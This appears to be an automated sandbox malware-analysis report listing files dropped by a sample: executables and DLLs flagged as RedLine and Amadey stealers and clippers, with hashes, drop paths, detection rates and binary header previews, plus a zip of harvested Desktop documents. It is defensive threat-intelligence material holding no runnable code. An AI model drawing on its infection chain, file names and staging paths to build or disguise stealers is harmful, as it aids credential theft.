SHA-512:	6477C8DC2BA0F754716EE074BE131BC14A7D616C877210E0A3FBED7EA3FD132F2833518C52211757A8A875018061AE56FCDD7C30B8149EBE91C33763057ED8B9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 77%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........N.... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text...Ts... ...t.................. ..`.rsrc................v..............@..@.reloc...............\|..............@..B................0.......H...........L.......C....................................................0.. .......s......~....%-.&~..........s....%.....(...+o.....8.....o............%........%.....(....s.....%.......%.....(....s.....%.......%.....(....s.....(....o.....8F.....(.....s......s,.......~....}....~.........s....(....o....}......{...........%.....(....s....o....,.......%.....(....s......+O..>.....%.....(....s....r...p~....(....(....o....-...{....(....+...{....(........(....:V......o........(....o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 82% Antivirus: Virustotal, Detection: 80%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460276790319054
Encrypted:	false
SSDEEP:	24576:2vkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggv4+yC7:2sMPSYcS5wPi095PbgS4
MD5:	F35B671FDA2603EC30ACE10946F11A90
SHA1:	059AD6B06559D4DB581B1879E709F32F80850872
SHA-256:	83E3DF5BEC15D5333935BEA8B719A6D677E2FB3DC1CF9E18E7B82FD0438285C7
SHA-512:	B5FA27D08C64727CEF7FDDA5E68054A4359CD697DF50D70D1D90DA583195959A139066A6214531BBC5F20CD4F9BC1CA3E4244396547381291A6A1D2DF9CF8705
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 80%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d......e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2310656
Entropy (8bit):	7.953884128685067
Encrypted:	false
SSDEEP:	49152:ceF1xn14NcC/U8RpYSS9ZzqCRTY5zug2ytKotFZsUt:F1xn1LC8OpjIM2FotFZsU
MD5:	C0480BD7CAD935735BED9E6E1159FE5A
SHA1:	3230E239BCBC4103B098EC175E1EDDBDFAE365F4
SHA-256:	8A6CFFB8A0BEC844AAB5739B103CB0AEEEEACC97ADBD24DC0021CEBE91EAAEEA
SHA-512:	F56E06A0A34889BD2B60C15FDA7BE1C740621B00662A0BFCE81235FC3B9119A0BB0F0F8D0F31A453A6168A5C95ADED23DE5E4B32C3B085107B1B10102DC94C52
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 41%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...H........Y......P....@...........................Y.......#...@..........................JX.L...^...r....P.......................JX.............................lJX.............................t...@................... . .@.......>..................@....rsrc........P.......N..............@....idata ............................@... .p*.. ......................@...oavneyqq.p....?..l..................@...ixcwzfpc......Y......>#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2295808
Entropy (8bit):	7.951970323616638
Encrypted:	false
SSDEEP:	49152:neF1xn14/7RHK8MFoy7bh7bZzLhjDxdX4YgBAsU:+1xn1uhK8MFfB7dHhjdiYYAsU
MD5:	52257E8159B53FFB0F4E7CAE516DC107
SHA1:	45902F3469CCE67CD21F5904E87BD79A105C9DD5
SHA-256:	96A1AE1FA6F9AA36C26C2067939950D4567DEC2B2D7774F779AE199BE8B6BE16
SHA-512:	4BDAF2C82379B04A881660E05B121CAE79D300EA308C4D52304FF091F59800C9666630C35DAC247D37CB3478EC96D1388E04EC201AB067B2AD57FE6D4D10ACBA
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 51%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........X......P....@.......................... X.......#...@.........................TMW.L...m........P.....................DMW..............................LW.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... ..).. ......................@...ejwyeyni.@....>..2..................@...zoeuqxwb......X.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.9481732310150415
Encrypted:	false
SSDEEP:	49152:L2qVJL/mlsMQfk3gCcKpB057h3jI1Egbd:L2qVJrmTX3o3qEyd
MD5:	339020815B65530333BF2DDC928AC867
SHA1:	018F9C40EEFB58F90341F4EC7E58114972CB571F
SHA-256:	55563C7D134BE08E0EB9665CD34993FC90CBE3ED3A464A3D73C4072FED3FCE94
SHA-512:	7F176A32ACDDA71FC2DE67ECA2F27C173660F364AD4838C92369D02FB6FA60EBE57AE7A7A6273151F5BAC288C6551D3A58B08ACAAC9837D4BF265A2EC62D8598
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 43%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................PK...........@...........................K.....Ja....@.................................Vp..j....`.......................;K..............................;K..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ...........................@...fbupybke.....@1.....................@...ejxqaids.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 78%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1504
Entropy (8bit):	5.276227223006264
Encrypted:	false
SSDEEP:	24:3rSKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNUNEr8H0UMem:bSU4y4RQmFoUeCamfm9qr9tK8NfUNEIa
MD5:	80431C8E41DDD0BB4C10AFAFA6A8D386
SHA1:	03B1AE4E67F7E151E2EED58A506BEA4AE777743F
SHA-256:	A22FA42F0CDD8F2155573B4B1F261A596A83A662AC90BBB1F2E716FA8E842B35
SHA-512:	9CD2731695221FD77371A8190663751C007DB060864B36DC096349DDCE320AFEFB0DD5F9D7EDB8908C449A745282DADF3E652B07960FEFBDCBD9B83F8847B97B
Malicious:	false
Reputation:	unknown
Preview:	@...e...........4....................................@..........@...............\|.jdY\.H.s9.!..\|4.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2295808
Entropy (8bit):	7.951970323616638
Encrypted:	false
SSDEEP:	49152:neF1xn14/7RHK8MFoy7bh7bZzLhjDxdX4YgBAsU:+1xn1uhK8MFfB7dHhjdiYYAsU
MD5:	52257E8159B53FFB0F4E7CAE516DC107
SHA1:	45902F3469CCE67CD21F5904E87BD79A105C9DD5
SHA-256:	96A1AE1FA6F9AA36C26C2067939950D4567DEC2B2D7774F779AE199BE8B6BE16
SHA-512:	4BDAF2C82379B04A881660E05B121CAE79D300EA308C4D52304FF091F59800C9666630C35DAC247D37CB3478EC96D1388E04EC201AB067B2AD57FE6D4D10ACBA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 51%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........X......P....@.......................... X.......#...@.........................TMW.L...m........P.....................DMW..............................LW.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... ..).. ......................@...ejwyeyni.@....>..2..................@...zoeuqxwb......X.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2962432
Entropy (8bit):	6.559828656405516
Encrypted:	false
SSDEEP:	49152:hz28Myn3uFDrmGjA1n1Nrd/O9LunYp6VyiW9k2MYD:p28pn3yD6F7rd/OrYyiT2M
MD5:	F854143C49C4D2FA4CF73BAB97BA8D3A
SHA1:	62454E89CF9B2558347E2179F49FB4A56F4762EC
SHA-256:	8C8AFD00E6087780E4EE0A36F170BA06F13BA6D0C46CD2119B876E88D40C24E3
SHA-512:	C0454ED9124CD768B0E6C8090F5943F7828263B94D00138B8A208FD59E52C28329EA4CC466EE7830471D5F765CA5C9BFC1B48BDC7A5352BEC0A3E2C882C7B519
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50% Antivirus: Virustotal, Detection: 54%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................0...... ....@...........................1......Z-...@.................................V...j.............................0.............................X.0..................................................... . ............................@....rsrc...............................@....idata ............................@...wvtamnbw..........................@...jjaorssu......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000054001\amert.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.9481732310150415
Encrypted:	false
SSDEEP:	49152:L2qVJL/mlsMQfk3gCcKpB057h3jI1Egbd:L2qVJrmTX3o3qEyd
MD5:	339020815B65530333BF2DDC928AC867
SHA1:	018F9C40EEFB58F90341F4EC7E58114972CB571F
SHA-256:	55563C7D134BE08E0EB9665CD34993FC90CBE3ED3A464A3D73C4072FED3FCE94
SHA-512:	7F176A32ACDDA71FC2DE67ECA2F27C173660F364AD4838C92369D02FB6FA60EBE57AE7A7A6273151F5BAC288C6551D3A58B08ACAAC9837D4BF265A2EC62D8598
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 43%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................PK...........@...........................K.....Ja....@.................................Vp..j....`.......................;K..............................;K..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ...........................@...fbupybke.....@1.....................@...ejxqaids.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035580812234568
Encrypted:	false
SSDEEP:	24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8au92+b+HdiJUX:dTvC/MTQYxsWR7au92+b+HoJU
MD5:	FB666C3917F960FD67DF0C2C8829D77F
SHA1:	028913A79AEC041DCE33A9A9EEEFE9BAAF6624F2
SHA-256:	726B25FA91F7D312C60B8673B382880E6DA2FDB03EF452BB907E22F349016028
SHA-512:	0500E7D211A3103DAC3C7E2D59307BEE69B5D3A05CD6E74CAD008DAFDA4C0DFDCE183912BEF02C818CA2658480987607736EA0214B15ECC6589A1D0F121E0BC6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....!f..........".................w.............@..........................0............@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2295808
Entropy (8bit):	7.951970323616638
Encrypted:	false
SSDEEP:	49152:neF1xn14/7RHK8MFoy7bh7bZzLhjDxdX4YgBAsU:+1xn1uhK8MFfB7dHhjdiYYAsU
MD5:	52257E8159B53FFB0F4E7CAE516DC107
SHA1:	45902F3469CCE67CD21F5904E87BD79A105C9DD5
SHA-256:	96A1AE1FA6F9AA36C26C2067939950D4567DEC2B2D7774F779AE199BE8B6BE16
SHA-512:	4BDAF2C82379B04A881660E05B121CAE79D300EA308C4D52304FF091F59800C9666630C35DAC247D37CB3478EC96D1388E04EC201AB067B2AD57FE6D4D10ACBA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 51%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........X......P....@.......................... X.......#...@.........................TMW.L...m........P.....................DMW..............................LW.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... ..).. ......................@...ejwyeyni.@....>..2..................@...zoeuqxwb......X.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.961363779095596
Encrypted:	false
SSDEEP:	1536:iqsiPqBezlbG6jejoigIk43Ywzi0Zb78ivombfexv0ujXyyed2TteulgS6p4:AEmeZYk+zi0ZbYe1g0ujyzdX4
MD5:	4CFD179519524269052023E10DE6B866
SHA1:	1E92BA2322E341B979D53422CF0E044C4F3B1846
SHA-256:	A24A85156CE1A077403B4FFFE4C4E1C592DF412D6495FBA921771C59456B43AF
SHA-512:	6477C8DC2BA0F754716EE074BE131BC14A7D616C877210E0A3FBED7EA3FD132F2833518C52211757A8A875018061AE56FCDD7C30B8149EBE91C33763057ED8B9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 77%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........N.... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text...Ts... ...t.................. ..`.rsrc................v..............@..@.reloc...............\|..............@..B................0.......H...........L.......C....................................................0.. .......s......~....%-.&~..........s....%.....(...+o.....8.....o............%........%.....(....s.....%.......%.....(....s.....%.......%.....(....s.....(....o.....8F.....(.....s......s,.......~....}....~.........s....(....o....}......{...........%.....(....s....o....,.......%.....(....s......+O..>.....%.....(....s....r...p~....(....(....o....-...{....(....+...{....(........(....:V......o........(....o

C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.961363779095596
Encrypted:	false
SSDEEP:	1536:iqsiPqBezlbG6jejoigIk43Ywzi0Zb78ivombfexv0ujXyyed2TteulgS6p4:AEmeZYk+zi0ZbYe1g0ujyzdX4
MD5:	4CFD179519524269052023E10DE6B866
SHA1:	1E92BA2322E341B979D53422CF0E044C4F3B1846
SHA-256:	A24A85156CE1A077403B4FFFE4C4E1C592DF412D6495FBA921771C59456B43AF
SHA-512:	6477C8DC2BA0F754716EE074BE131BC14A7D616C877210E0A3FBED7EA3FD132F2833518C52211757A8A875018061AE56FCDD7C30B8149EBE91C33763057ED8B9
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 77%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........N.... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text...Ts... ...t.................. ..`.rsrc................v..............@..@.reloc...............\|..............@..B................0.......H...........L.......C....................................................0.. .......s......~....%-.&~..........s....%.....(...+o.....8.....o............%........%.....(....s.....%.......%.....(....s.....%.......%.....(....s.....(....o.....8F.....(.....s......s,.......~....}....~.........s....(....o....}......{...........%.....(....s....o....,.......%.....(....s......+O..>.....%.....(....s....r...p~....(....(....o....-...{....(....+...{....(........(....:V......o........(....o

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4621
Entropy (8bit):	7.776227586967732
Encrypted:	false
SSDEEP:	96:P4hMhMb4hMhMJSybyRWmgkSFid8TVBUaNpHcux8WV73:P4r4Yybs83lJBUaN8WV73
MD5:	185589F499CED8BABF979510EC43B554
SHA1:	D573EAC608B44D180FC2215C650604025270CB6E
SHA-256:	9F6B4BC30BCF8E8444854DB0CA3A95E58F22953616778C513A98F5DED596E605
SHA-512:	214D55E6F9A10C1108CB59F257FE9325EBC89F484086431195270F10701D76353E0B334AE4F4A89D8EE90E54C0AC1FFAABBC8D00E3B93AA5249746091603DACF
Malicious:	true
Reputation:	unknown
Preview:	PK..........DW...s............_Files_\BJZFPPWAPT.docx..I.@!.D......8..t....#.@.P.....~].....A786.g.....cf..K.^..0.].p....H..[..Tb..v........4C..?Nw....r.P....Z=...A8).....FF.vc.4....>Z.4.......D".?#l...R).+f.]K.=.4.].^E5W....[........c.W.^}s..hn.3..O.jHj..R....\|.......QAk.!.........F.....;.5.zi....<....'..O....9..Un.:.x>..6..n...Ch...c.IuT..F..#.8.r3..T-g&.S.\...Q.u!..A..g.......(...."..0}Y..`..V...mu...3w...(.ob...........x....@.f... ....0...l.'.....M.H..\|i.9j.&Tq...s..f.}.{I.o.%...GE....G.M"..NxV..S..j....,.`.1].h7..:....X...L[.>k...s.../....E...<t}..3.y4.n..R.G.v.J+....N3...._.K.w{.x.._}.lc...JT{...W`...W[).L/.....a.&U....ggNgA.w.V......(..?PK..........DW...s............_Files_\BJZFPPWAPT.xlsx..I.@!.D......8..t....#.@.P.....~].....A786.g.....cf..K.^..0.].p....H..[..Tb..v........4C..?Nw....r.P....Z=...A8).....FF.vc.4....>Z.4.......D".?#l...R).+f.]K.=.4.].^E5W....[.*.......c.W.^}s..hn.3..O.jHj..R....\|.......QAk.!.........

C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.9481732310150415
Encrypted:	false
SSDEEP:	49152:L2qVJL/mlsMQfk3gCcKpB057h3jI1Egbd:L2qVJrmTX3o3qEyd
MD5:	339020815B65530333BF2DDC928AC867
SHA1:	018F9C40EEFB58F90341F4EC7E58114972CB571F
SHA-256:	55563C7D134BE08E0EB9665CD34993FC90CBE3ED3A464A3D73C4072FED3FCE94
SHA-512:	7F176A32ACDDA71FC2DE67ECA2F27C173660F364AD4838C92369D02FB6FA60EBE57AE7A7A6273151F5BAC288C6551D3A58B08ACAAC9837D4BF265A2EC62D8598
Malicious:	true
